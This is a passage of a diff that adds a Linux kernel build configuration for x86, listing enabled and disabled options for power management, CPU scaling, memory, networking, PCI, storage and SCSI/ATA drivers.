+CONFIG_ACPI_PROCESSOR_CSTATE=y +CONFIG_ACPI_PROCESSOR_IDLE=y +CONFIG_ACPI_CPPC_LIB=y +CONFIG_ACPI_PROCESSOR=y +CONFIG_ACPI_HOTPLUG_CPU=y +# CONFIG_ACPI_PROCESSOR_AGGREGATOR is not set +CONFIG_ACPI_THERMAL=y +CONFIG_ACPI_CUSTOM_DSDT_FILE="" +CONFIG_ARCH_HAS_ACPI_TABLE_UPGRADE=y +CONFIG_ACPI_TABLE_UPGRADE=y +# CONFIG_ACPI_DEBUG is not set +# CONFIG_ACPI_PCI_SLOT is not set +CONFIG_ACPI_CONTAINER=y +CONFIG_ACPI_HOTPLUG_IOAPIC=y +# CONFIG_ACPI_SBS is not set +# CONFIG_ACPI_HED is not set +# CONFIG_ACPI_BGRT is not set +# CONFIG_ACPI_REDUCED_HARDWARE_ONLY is not set +# CONFIG_ACPI_NFIT is not set +CONFIG_HAVE_ACPI_APEI=y +CONFIG_HAVE_ACPI_APEI_NMI=y +# CONFIG_ACPI_APEI is not set +# CONFIG_ACPI_DPTF is not set +# CONFIG_ACPI_CONFIGFS is not set +# CONFIG_ACPI_PFRUT is not set +CONFIG_ACPI_PCC=y +# CONFIG_PMIC_OPREGION is not set +CONFIG_ACPI_PRMT=y +CONFIG_X86_PM_TIMER=y + +# +# CPU Frequency scaling +# +CONFIG_CPU_FREQ=y +CONFIG_CPU_FREQ_GOV_ATTR_SET=y +# CONFIG_CPU_FREQ_STAT is not set +CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y +# CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_SCHEDUTIL is not set +CONFIG_CPU_FREQ_GOV_PERFORMANCE=y +# CONFIG_CPU_FREQ_GOV_POWERSAVE is not set +# CONFIG_CPU_FREQ_GOV_USERSPACE is not set +# CONFIG_CPU_FREQ_GOV_ONDEMAND is not set +# CONFIG_CPU_FREQ_GOV_CONSERVATIVE is not set +CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y + +# +# CPU frequency scaling drivers +# +CONFIG_X86_INTEL_PSTATE=y +# CONFIG_X86_PCC_CPUFREQ is not set +# CONFIG_X86_AMD_PSTATE is not set +# CONFIG_X86_AMD_PSTATE_UT is not set +# CONFIG_X86_ACPI_CPUFREQ is not set +# CONFIG_X86_SPEEDSTEP_CENTRINO is not set +# CONFIG_X86_P4_CLOCKMOD is not set + +# +# shared options +# +# end of CPU Frequency scaling + +# +# CPU Idle +# +CONFIG_CPU_IDLE=y +# CONFIG_CPU_IDLE_GOV_LADDER is not set +CONFIG_CPU_IDLE_GOV_MENU=y +# CONFIG_CPU_IDLE_GOV_TEO is not set +# end of CPU Idle + +# CONFIG_INTEL_IDLE is not set +# end of Power management and ACPI options + +# +# Bus options (PCI etc.) +# +CONFIG_PCI_DIRECT=y +# CONFIG_PCI_MMCONFIG is not set +# CONFIG_PCI_CNB20LE_QUIRK is not set +# CONFIG_ISA_BUS is not set +CONFIG_ISA_DMA_API=y +# end of Bus options (PCI etc.) + +# +# Binary Emulations +# +# CONFIG_IA32_EMULATION is not set +# CONFIG_X86_X32_ABI is not set +# end of Binary Emulations + +CONFIG_HAVE_KVM=y +# CONFIG_VIRTUALIZATION is not set +CONFIG_AS_AVX512=y +CONFIG_AS_SHA1_NI=y +CONFIG_AS_SHA256_NI=y +CONFIG_AS_TPAUSE=y + +# +# General architecture-dependent options +# +CONFIG_CRASH_CORE=y +CONFIG_KEXEC_CORE=y +CONFIG_HOTPLUG_SMT=y +CONFIG_GENERIC_ENTRY=y +# CONFIG_KPROBES is not set +CONFIG_JUMP_LABEL=y +# CONFIG_STATIC_KEYS_SELFTEST is not set +# CONFIG_STATIC_CALL_SELFTEST is not set +CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y +CONFIG_ARCH_USE_BUILTIN_BSWAP=y +CONFIG_HAVE_IOREMAP_PROT=y +CONFIG_HAVE_KPROBES=y +CONFIG_HAVE_KRETPROBES=y +CONFIG_HAVE_OPTPROBES=y +CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y +CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y +CONFIG_HAVE_NMI=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y +CONFIG_HAVE_ARCH_TRACEHOOK=y +CONFIG_HAVE_DMA_CONTIGUOUS=y +CONFIG_GENERIC_SMP_IDLE_THREAD=y +CONFIG_ARCH_HAS_FORTIFY_SOURCE=y +CONFIG_ARCH_HAS_SET_MEMORY=y +CONFIG_ARCH_HAS_SET_DIRECT_MAP=y +CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y +CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y +CONFIG_ARCH_WANTS_NO_INSTR=y +CONFIG_HAVE_ASM_MODVERSIONS=y +CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y +CONFIG_HAVE_RSEQ=y +CONFIG_HAVE_RUST=y +CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y +CONFIG_HAVE_HW_BREAKPOINT=y +CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y +CONFIG_HAVE_USER_RETURN_NOTIFIER=y +CONFIG_HAVE_PERF_EVENTS_NMI=y +CONFIG_HAVE_HARDLOCKUP_DETECTOR_PERF=y +CONFIG_HAVE_PERF_REGS=y +CONFIG_HAVE_PERF_USER_STACK_DUMP=y +CONFIG_HAVE_ARCH_JUMP_LABEL=y +CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y +CONFIG_MMU_GATHER_MERGE_VMAS=y +CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y +CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y +CONFIG_HAVE_CMPXCHG_LOCAL=y +CONFIG_HAVE_CMPXCHG_DOUBLE=y +CONFIG_HAVE_ARCH_SECCOMP=y +CONFIG_HAVE_ARCH_SECCOMP_FILTER=y +# CONFIG_SECCOMP is not set +CONFIG_HAVE_ARCH_STACKLEAK=y +CONFIG_HAVE_STACKPROTECTOR=y +CONFIG_STACKPROTECTOR=y +CONFIG_STACKPROTECTOR_STRONG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y +CONFIG_LTO_NONE=y +CONFIG_ARCH_SUPPORTS_CFI_CLANG=y +CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y +CONFIG_HAVE_CONTEXT_TRACKING_USER=y +CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y +CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y +CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOVE_PUD=y +CONFIG_HAVE_MOVE_PMD=y +CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y +CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y +CONFIG_HAVE_ARCH_HUGE_VMAP=y +CONFIG_HAVE_ARCH_HUGE_VMALLOC=y +CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y +CONFIG_HAVE_ARCH_SOFT_DIRTY=y +CONFIG_HAVE_MOD_ARCH_SPECIFIC=y +CONFIG_MODULES_USE_ELF_RELA=y +CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y +CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y +CONFIG_SOFTIRQ_ON_OWN_STACK=y +CONFIG_ARCH_HAS_ELF_RANDOMIZE=y +CONFIG_HAVE_ARCH_MMAP_RND_BITS=y +CONFIG_HAVE_EXIT_THREAD=y +CONFIG_ARCH_MMAP_RND_BITS=28 +CONFIG_PAGE_SIZE_LESS_THAN_64KB=y +CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_HAVE_OBJTOOL=y +CONFIG_HAVE_JUMP_LABEL_HACK=y +CONFIG_HAVE_NOINSTR_HACK=y +CONFIG_HAVE_NOINSTR_VALIDATION=y +CONFIG_HAVE_UACCESS_VALIDATION=y +CONFIG_HAVE_STACK_VALIDATION=y +CONFIG_HAVE_RELIABLE_STACKTRACE=y +# CONFIG_COMPAT_32BIT_TIME is not set +CONFIG_HAVE_ARCH_VMAP_STACK=y +CONFIG_VMAP_STACK=y +CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y +CONFIG_RANDOMIZE_KSTACK_OFFSET=y +# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set +CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y +CONFIG_STRICT_KERNEL_RWX=y +CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y +CONFIG_STRICT_MODULE_RWX=y +CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y +CONFIG_ARCH_USE_MEMREMAP_PROT=y +CONFIG_ARCH_HAS_MEM_ENCRYPT=y +CONFIG_HAVE_STATIC_CALL=y +CONFIG_HAVE_STATIC_CALL_INLINE=y +CONFIG_HAVE_PREEMPT_DYNAMIC=y +CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y +CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y +CONFIG_ARCH_HAS_ELFCORE_COMPAT=y +CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y +CONFIG_DYNAMIC_SIGFRAME=y +CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y + +# +# GCOV-based kernel profiling +# +CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y +# end of GCOV-based kernel profiling + +CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +# end of General architecture-dependent options + +CONFIG_RT_MUTEXES=y +CONFIG_BASE_SMALL=1 +CONFIG_MODULES=y +# CONFIG_MODULE_FORCE_LOAD is not set +# CONFIG_MODULE_UNLOAD is not set +# CONFIG_MODVERSIONS is not set +# CONFIG_MODULE_SRCVERSION_ALL is not set +# CONFIG_MODULE_SIG is not set +CONFIG_MODULE_COMPRESS_NONE=y +# CONFIG_MODULE_COMPRESS_GZIP is not set +# CONFIG_MODULE_COMPRESS_XZ is not set +# CONFIG_MODULE_COMPRESS_ZSTD is not set +# CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set +CONFIG_MODPROBE_PATH="/sbin/modprobe" +CONFIG_TRIM_UNUSED_KSYMS=y +CONFIG_UNUSED_KSYMS_WHITELIST="" +CONFIG_MODULES_TREE_LOOKUP=y +CONFIG_BLOCK=y +CONFIG_BLOCK_LEGACY_AUTOLOAD=y +CONFIG_BLK_DEV_BSG_COMMON=y +CONFIG_BLK_DEV_BSGLIB=y +# CONFIG_BLK_DEV_INTEGRITY is not set +# CONFIG_BLK_DEV_ZONED is not set +# CONFIG_BLK_WBT is not set +# CONFIG_BLK_SED_OPAL is not set +# CONFIG_BLK_INLINE_ENCRYPTION is not set + +# +# Partition Types +# +# CONFIG_PARTITION_ADVANCED is not set +CONFIG_MSDOS_PARTITION=y +CONFIG_EFI_PARTITION=y +# end of Partition Types + +CONFIG_BLK_MQ_PCI=y +CONFIG_BLOCK_HOLDER_DEPRECATED=y +CONFIG_BLK_MQ_STACKING=y + +# +# IO Schedulers +# +CONFIG_MQ_IOSCHED_DEADLINE=y +# CONFIG_MQ_IOSCHED_KYBER is not set +# CONFIG_IOSCHED_BFQ is not set +# end of IO Schedulers + +CONFIG_INLINE_SPIN_UNLOCK_IRQ=y +CONFIG_INLINE_READ_UNLOCK=y +CONFIG_INLINE_READ_UNLOCK_IRQ=y +CONFIG_INLINE_WRITE_UNLOCK=y +CONFIG_INLINE_WRITE_UNLOCK_IRQ=y +CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y +CONFIG_MUTEX_SPIN_ON_OWNER=y +CONFIG_RWSEM_SPIN_ON_OWNER=y +CONFIG_LOCK_SPIN_ON_OWNER=y +CONFIG_ARCH_USE_QUEUED_SPINLOCKS=y +CONFIG_QUEUED_SPINLOCKS=y +CONFIG_ARCH_USE_QUEUED_RWLOCKS=y +CONFIG_QUEUED_RWLOCKS=y +CONFIG_ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE=y +CONFIG_ARCH_HAS_SYNC_CORE_BEFORE_USERMODE=y +CONFIG_ARCH_HAS_SYSCALL_WRAPPER=y + +# +# Executable file formats +# +CONFIG_BINFMT_ELF=y +CONFIG_ELFCORE=y +CONFIG_BINFMT_SCRIPT=y +# CONFIG_BINFMT_MISC is not set +# CONFIG_COREDUMP is not set +# end of Executable file formats + +# +# Memory Management options +# +# CONFIG_SWAP is not set + +# +# SLAB allocator options +# +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_SLAB_MERGE_DEFAULT=y +# CONFIG_SLAB_FREELIST_RANDOM is not set +# CONFIG_SLAB_FREELIST_HARDENED is not set +# CONFIG_SLUB_STATS is not set +CONFIG_SLUB_CPU_PARTIAL=y +# end of SLAB allocator options + +# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set +# CONFIG_COMPAT_BRK is not set +CONFIG_SPARSEMEM=y +CONFIG_SPARSEMEM_EXTREME=y +CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y +CONFIG_SPARSEMEM_VMEMMAP=y +CONFIG_HAVE_FAST_GUP=y +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y +# CONFIG_MEMORY_HOTPLUG is not set +CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y +# CONFIG_COMPACTION is not set +# CONFIG_PAGE_REPORTING is not set +CONFIG_PHYS_ADDR_T_64BIT=y +CONFIG_MMU_NOTIFIER=y +# CONFIG_KSM is not set +CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 +CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y +# CONFIG_MEMORY_FAILURE is not set +CONFIG_ARCH_WANT_GENERAL_HUGETLB=y +CONFIG_ARCH_WANTS_THP_SWAP=y +# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y +# CONFIG_CMA is not set +CONFIG_GENERIC_EARLY_IOREMAP=y +# CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set +# CONFIG_IDLE_PAGE_TRACKING is not set +CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y +CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y +CONFIG_ARCH_HAS_PTE_DEVMAP=y +CONFIG_ARCH_HAS_ZONE_DMA_SET=y +# CONFIG_ZONE_DMA is not set +CONFIG_ZONE_DMA32=y +# CONFIG_VM_EVENT_COUNTERS is not set +# CONFIG_PERCPU_STATS is not set + +# +# GUP_TEST needs to have DEBUG_FS enabled +# +CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_USERFAULTFD is not set +# CONFIG_LRU_GEN is not set + +# +# Data Access Monitoring +# +# CONFIG_DAMON is not set +# end of Data Access Monitoring +# end of Memory Management options + +CONFIG_NET=y + +# +# Networking options +# +CONFIG_PACKET=y +# CONFIG_PACKET_DIAG is not set +CONFIG_UNIX=y +CONFIG_UNIX_SCM=y +CONFIG_AF_UNIX_OOB=y +# CONFIG_UNIX_DIAG is not set +# CONFIG_TLS is not set +# CONFIG_XFRM_USER is not set +# CONFIG_NET_KEY is not set +CONFIG_INET=y +# CONFIG_IP_MULTICAST is not set +# CONFIG_IP_ADVANCED_ROUTER is not set +# CONFIG_IP_PNP is not set +# CONFIG_NET_IPIP is not set +# CONFIG_NET_IPGRE_DEMUX is not set +CONFIG_SYN_COOKIES=y +# CONFIG_NET_IPVTI is not set +# CONFIG_NET_FOU is not set +# CONFIG_INET_AH is not set +# CONFIG_INET_ESP is not set +# CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 +# CONFIG_INET_DIAG is not set +# CONFIG_TCP_CONG_ADVANCED is not set +CONFIG_TCP_CONG_CUBIC=y +CONFIG_DEFAULT_TCP_CONG="cubic" +# CONFIG_TCP_MD5SIG is not set +# CONFIG_IPV6 is not set +# CONFIG_MPTCP is not set +# CONFIG_NETWORK_SECMARK is not set +# CONFIG_NETWORK_PHY_TIMESTAMPING is not set +# CONFIG_NETFILTER is not set +# CONFIG_BPFILTER is not set +# CONFIG_IP_DCCP is not set +# CONFIG_IP_SCTP is not set +# CONFIG_RDS is not set +# CONFIG_TIPC is not set +# CONFIG_ATM is not set +# CONFIG_L2TP is not set +# CONFIG_BRIDGE is not set +# CONFIG_NET_DSA is not set +# CONFIG_VLAN_8021Q is not set +# CONFIG_LLC2 is not set +# CONFIG_ATALK is not set +# CONFIG_X25 is not set +# CONFIG_LAPB is not set +# CONFIG_PHONET is not set +# CONFIG_IEEE802154 is not set +# CONFIG_NET_SCHED is not set +# CONFIG_DCB is not set +# CONFIG_BATMAN_ADV is not set +# CONFIG_OPENVSWITCH is not set +# CONFIG_VSOCKETS is not set +# CONFIG_NETLINK_DIAG is not set +# CONFIG_MPLS is not set +# CONFIG_NET_NSH is not set +# CONFIG_HSR is not set +# CONFIG_NET_SWITCHDEV is not set +# CONFIG_NET_L3_MASTER_DEV is not set +# CONFIG_QRTR is not set +# CONFIG_NET_NCSI is not set +CONFIG_PCPU_DEV_REFCNT=y +CONFIG_RPS=y +CONFIG_RFS_ACCEL=y +CONFIG_SOCK_RX_QUEUE_MAPPING=y +CONFIG_XPS=y +CONFIG_NET_RX_BUSY_POLL=y +CONFIG_BQL=y +CONFIG_NET_FLOW_LIMIT=y + +# +# Network testing +# +# CONFIG_NET_PKTGEN is not set +# end of Network testing +# end of Networking options + +# CONFIG_HAMRADIO is not set +# CONFIG_CAN is not set +# CONFIG_BT is not set +# CONFIG_AF_RXRPC is not set +# CONFIG_AF_KCM is not set +# CONFIG_MCTP is not set +# CONFIG_WIRELESS is not set +# CONFIG_RFKILL is not set +# CONFIG_NET_9P is not set +# CONFIG_CAIF is not set +# CONFIG_CEPH_LIB is not set +# CONFIG_NFC is not set +# CONFIG_PSAMPLE is not set +# CONFIG_NET_IFE is not set +# CONFIG_LWTUNNEL is not set +# CONFIG_FAILOVER is not set +CONFIG_ETHTOOL_NETLINK=y + +# +# Device Drivers +# +CONFIG_HAVE_EISA=y +# CONFIG_EISA is not set +CONFIG_HAVE_PCI=y +CONFIG_PCI=y +CONFIG_PCI_DOMAINS=y +# CONFIG_PCIEPORTBUS is not set +CONFIG_PCIEASPM=y +CONFIG_PCIEASPM_DEFAULT=y +# CONFIG_PCIEASPM_POWERSAVE is not set +# CONFIG_PCIEASPM_POWER_SUPERSAVE is not set +# CONFIG_PCIEASPM_PERFORMANCE is not set +# CONFIG_PCIE_PTM is not set +CONFIG_PCI_MSI=y +CONFIG_PCI_MSI_IRQ_DOMAIN=y +CONFIG_PCI_QUIRKS=y +# CONFIG_PCI_DEBUG is not set +# CONFIG_PCI_STUB is not set +CONFIG_PCI_ATS=y +CONFIG_PCI_LOCKLESS_CONFIG=y +# CONFIG_PCI_IOV is not set +CONFIG_PCI_PRI=y +CONFIG_PCI_PASID=y +CONFIG_PCI_LABEL=y +# CONFIG_PCIE_BUS_TUNE_OFF is not set +CONFIG_PCIE_BUS_DEFAULT=y +# CONFIG_PCIE_BUS_SAFE is not set +# CONFIG_PCIE_BUS_PERFORMANCE is not set +# CONFIG_PCIE_BUS_PEER2PEER is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 +# CONFIG_HOTPLUG_PCI is not set + +# +# PCI controller drivers +# +# CONFIG_VMD is not set + +# +# DesignWare PCI Core Support +# +# CONFIG_PCIE_DW_PLAT_HOST is not set +# CONFIG_PCI_MESON is not set +# end of DesignWare PCI Core Support + +# +# Mobiveil PCIe Core Support +# +# end of Mobiveil PCIe Core Support + +# +# Cadence PCIe controllers support +# +# end of Cadence PCIe controllers support +# end of PCI controller drivers + +# +# PCI Endpoint +# +# CONFIG_PCI_ENDPOINT is not set +# end of PCI Endpoint + +# +# PCI switch controller drivers +# +# CONFIG_PCI_SW_SWITCHTEC is not set +# end of PCI switch controller drivers + +# CONFIG_CXL_BUS is not set +# CONFIG_PCCARD is not set +# CONFIG_RAPIDIO is not set + +# +# Generic Driver Options +# +# CONFIG_UEVENT_HELPER is not set +CONFIG_DEVTMPFS=y +CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set +# CONFIG_STANDALONE is not set +CONFIG_PREVENT_FIRMWARE_BUILD=y + +# +# Firmware loader +# +CONFIG_FW_LOADER=y +CONFIG_EXTRA_FIRMWARE="" +# CONFIG_FW_LOADER_USER_HELPER is not set +# CONFIG_FW_LOADER_COMPRESS is not set +# CONFIG_FW_UPLOAD is not set +# end of Firmware loader + +# CONFIG_ALLOW_DEV_COREDUMP is not set +# CONFIG_DEBUG_DRIVER is not set +# CONFIG_DEBUG_DEVRES is not set +# CONFIG_DEBUG_TEST_DRIVER_REMOVE is not set +# CONFIG_TEST_ASYNC_DRIVER_PROBE is not set +CONFIG_GENERIC_CPU_AUTOPROBE=y +CONFIG_GENERIC_CPU_VULNERABILITIES=y +CONFIG_REGMAP=y +CONFIG_REGMAP_MMIO=y +CONFIG_DMA_SHARED_BUFFER=y +# CONFIG_DMA_FENCE_TRACE is not set +# end of Generic Driver Options + +# +# Bus devices +# +# CONFIG_MHI_BUS is not set +# CONFIG_MHI_BUS_EP is not set +# end of Bus devices + +# CONFIG_CONNECTOR is not set + +# +# Firmware Drivers +# + +# +# ARM System Control and Management Interface Protocol +# +# end of ARM System Control and Management Interface Protocol + +# CONFIG_EDD is not set +# CONFIG_FIRMWARE_MEMMAP is not set +# CONFIG_DMIID is not set +# CONFIG_DMI_SYSFS is not set +CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y +# CONFIG_ISCSI_IBFT is not set +# CONFIG_FW_CFG_SYSFS is not set +CONFIG_SYSFB=y +CONFIG_SYSFB_SIMPLEFB=y +# CONFIG_GOOGLE_FIRMWARE is not set + +# +# EFI (Extensible Firmware Interface) Support +# +CONFIG_EFI_ESRT=y +CONFIG_EFI_RUNTIME_MAP=y +# CONFIG_EFI_FAKE_MEMMAP is not set +CONFIG_EFI_RUNTIME_WRAPPERS=y +# CONFIG_EFI_BOOTLOADER_CONTROL is not set +# CONFIG_EFI_CAPSULE_LOADER is not set +# CONFIG_EFI_TEST is not set +# CONFIG_EFI_RCI2_TABLE is not set +# CONFIG_EFI_DISABLE_PCI_DMA is not set +CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y +# CONFIG_EFI_DISABLE_RUNTIME is not set +# CONFIG_EFI_COCO_SECRET is not set +# end of EFI (Extensible Firmware Interface) Support + +# +# Tegra firmware driver +# +# end of Tegra firmware driver +# end of Firmware Drivers + +# CONFIG_GNSS is not set +# CONFIG_MTD is not set +# CONFIG_OF is not set +CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y +# CONFIG_PARPORT is not set +CONFIG_PNP=y +# CONFIG_PNP_DEBUG_MESSAGES is not set + +# +# Protocols +# +CONFIG_PNPACPI=y +CONFIG_BLK_DEV=y +# CONFIG_BLK_DEV_NULL_BLK is not set +# CONFIG_BLK_DEV_FD is not set +CONFIG_CDROM=y +# CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set +CONFIG_BLK_DEV_LOOP=y +CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 +# CONFIG_BLK_DEV_DRBD is not set +# CONFIG_BLK_DEV_NBD is not set +CONFIG_BLK_DEV_RAM=y +CONFIG_BLK_DEV_RAM_COUNT=16 +CONFIG_BLK_DEV_RAM_SIZE=65536 +# CONFIG_CDROM_PKTCDVD is not set +# CONFIG_ATA_OVER_ETH is not set +# CONFIG_BLK_DEV_RBD is not set +# CONFIG_BLK_DEV_UBLK is not set + +# +# NVME Support +# +CONFIG_NVME_CORE=y +CONFIG_BLK_DEV_NVME=y +# CONFIG_NVME_MULTIPATH is not set +# CONFIG_NVME_VERBOSE_ERRORS is not set +# CONFIG_NVME_FC is not set +# CONFIG_NVME_TCP is not set +# CONFIG_NVME_AUTH is not set +# end of NVME Support + +# +# Misc devices +# +# CONFIG_DUMMY_IRQ is not set +# CONFIG_IBM_ASM is not set +# CONFIG_PHANTOM is not set +# CONFIG_TIFM_CORE is not set +# CONFIG_ENCLOSURE_SERVICES is not set +# CONFIG_HP_ILO is not set +# CONFIG_SRAM is not set +# CONFIG_DW_XDATA_PCIE is not set +# CONFIG_PCI_ENDPOINT_TEST is not set +# CONFIG_XILINX_SDFEC is not set +# CONFIG_C2PORT is not set + +# +# EEPROM support +# +# CONFIG_EEPROM_93CX6 is not set +# end of EEPROM support + +# CONFIG_CB710_CORE is not set + +# +# Texas Instruments shared transport line discipline +# +# end of Texas Instruments shared transport line discipline + +# +# Altera FPGA firmware download module (requires I2C) +# +# CONFIG_INTEL_MEI is not set +# CONFIG_INTEL_MEI_ME is not set +# CONFIG_INTEL_MEI_TXE is not set +# CONFIG_VMWARE_VMCI is not set +# CONFIG_GENWQE is not set +# CONFIG_ECHO is not set +# CONFIG_BCM_VK is not set +# CONFIG_MISC_ALCOR_PCI is not set +# CONFIG_MISC_RTSX_PCI is not set +# CONFIG_MISC_RTSX_USB is not set +# CONFIG_HABANA_AI is not set +# CONFIG_UACCE is not set +# CONFIG_PVPANIC is not set +# end of Misc devices + +# +# SCSI device support +# +CONFIG_SCSI_MOD=y +# CONFIG_RAID_ATTRS is not set +CONFIG_SCSI_COMMON=y +CONFIG_SCSI=y +CONFIG_SCSI_DMA=y +# CONFIG_SCSI_PROC_FS is not set + +# +# SCSI support type (disk, tape, CD-ROM) +# +CONFIG_BLK_DEV_SD=y +# CONFIG_CHR_DEV_ST is not set +CONFIG_BLK_DEV_SR=y +CONFIG_CHR_DEV_SG=y +CONFIG_BLK_DEV_BSG=y +# CONFIG_CHR_DEV_SCH is not set +# CONFIG_SCSI_CONSTANTS is not set +# CONFIG_SCSI_LOGGING is not set +CONFIG_SCSI_SCAN_ASYNC=y + +# +# SCSI Transports +# +# CONFIG_SCSI_SPI_ATTRS is not set +# CONFIG_SCSI_FC_ATTRS is not set +CONFIG_SCSI_ISCSI_ATTRS=y +# CONFIG_SCSI_SAS_ATTRS is not set +# CONFIG_SCSI_SAS_LIBSAS is not set +# CONFIG_SCSI_SRP_ATTRS is not set +# end of SCSI Transports + +CONFIG_SCSI_LOWLEVEL=y +CONFIG_ISCSI_TCP=y +# CONFIG_ISCSI_BOOT_SYSFS is not set +# CONFIG_SCSI_CXGB3_ISCSI is not set +# CONFIG_SCSI_CXGB4_ISCSI is not set +# CONFIG_SCSI_BNX2_ISCSI is not set +# CONFIG_BE2ISCSI is not set +# CONFIG_BLK_DEV_3W_XXXX_RAID is not set +# CONFIG_SCSI_HPSA is not set +# CONFIG_SCSI_3W_9XXX is not set +# CONFIG_SCSI_3W_SAS is not set +# CONFIG_SCSI_ACARD is not set +# CONFIG_SCSI_AACRAID is not set +# CONFIG_SCSI_AIC7XXX is not set +# CONFIG_SCSI_AIC79XX is not set +# CONFIG_SCSI_AIC94XX is not set +# CONFIG_SCSI_MVSAS is not set +# CONFIG_SCSI_MVUMI is not set +# CONFIG_SCSI_ADVANSYS is not set +# CONFIG_SCSI_ARCMSR is not set +# CONFIG_SCSI_ESAS2R is not set +# CONFIG_MEGARAID_NEWGEN is not set +# CONFIG_MEGARAID_LEGACY is not set +# CONFIG_MEGARAID_SAS is not set +# CONFIG_SCSI_MPT3SAS is not set +# CONFIG_SCSI_MPT2SAS is not set +# CONFIG_SCSI_MPI3MR is not set +# CONFIG_SCSI_SMARTPQI is not set +# CONFIG_SCSI_HPTIOP is not set +# CONFIG_SCSI_BUSLOGIC is not set +# CONFIG_SCSI_MYRB is not set +# CONFIG_SCSI_MYRS is not set +# CONFIG_VMWARE_PVSCSI is not set +# CONFIG_SCSI_SNIC is not set +# CONFIG_SCSI_DMX3191D is not set +# CONFIG_SCSI_FDOMAIN_PCI is not set +# CONFIG_SCSI_ISCI is not set +# CONFIG_SCSI_IPS is not set +# CONFIG_SCSI_INITIO is not set +# CONFIG_SCSI_INIA100 is not set +# CONFIG_SCSI_STEX is not set +# CONFIG_SCSI_SYM53C8XX_2 is not set +# CONFIG_SCSI_IPR is not set +# CONFIG_SCSI_QLOGIC_1280 is not set +# CONFIG_SCSI_QLA_ISCSI is not set +# CONFIG_SCSI_DC395x is not set +# CONFIG_SCSI_AM53C974 is not set +# CONFIG_SCSI_WD719X is not set +# CONFIG_SCSI_DEBUG is not set +# CONFIG_SCSI_PMCRAID is not set +# CONFIG_SCSI_PM8001 is not set +# CONFIG_SCSI_DH is not set +# end of SCSI device support + +CONFIG_ATA=y +CONFIG_SATA_HOST=y +CONFIG_PATA_TIMINGS=y +# CONFIG_ATA_VERBOSE_ERROR is not set +CONFIG_ATA_FORCE=y +CONFIG_ATA_ACPI=y +CONFIG_SATA_PMP=y + +# +# Controllers with non-SFF native interface +# +CONFIG_SATA_AHCI=y 